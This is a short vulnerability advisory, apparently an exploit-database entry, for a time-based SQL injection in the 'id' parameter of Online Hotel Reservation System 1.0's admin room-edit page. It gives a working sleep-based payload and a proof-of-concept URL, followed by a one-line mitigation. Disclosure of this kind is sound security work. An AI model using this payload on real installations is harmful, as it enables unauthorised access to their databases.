vendor:
Online Hotel Reservation System in PHP/MySQLi with Source Code
by:
Mesut Cetin
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online Hotel Reservation System in PHP/MySQLi with Source Code
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:online_hotel_reservation_system_in_phpmysqli_with_source_code:1.0
Metasploit:
N/A
Other Scripts:
N/A
Platforms Tested: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0
2021
Online Hotel Reservation System 1.0 – ‘id’ Time-based SQL Injection
Vulnerable to SQL Injection. The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection. Payload: (select*from(select(sleep(10)))a) Proof of Concept: http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)
Mitigation:
Input validation and sanitization should be done to prevent SQL injection attacks.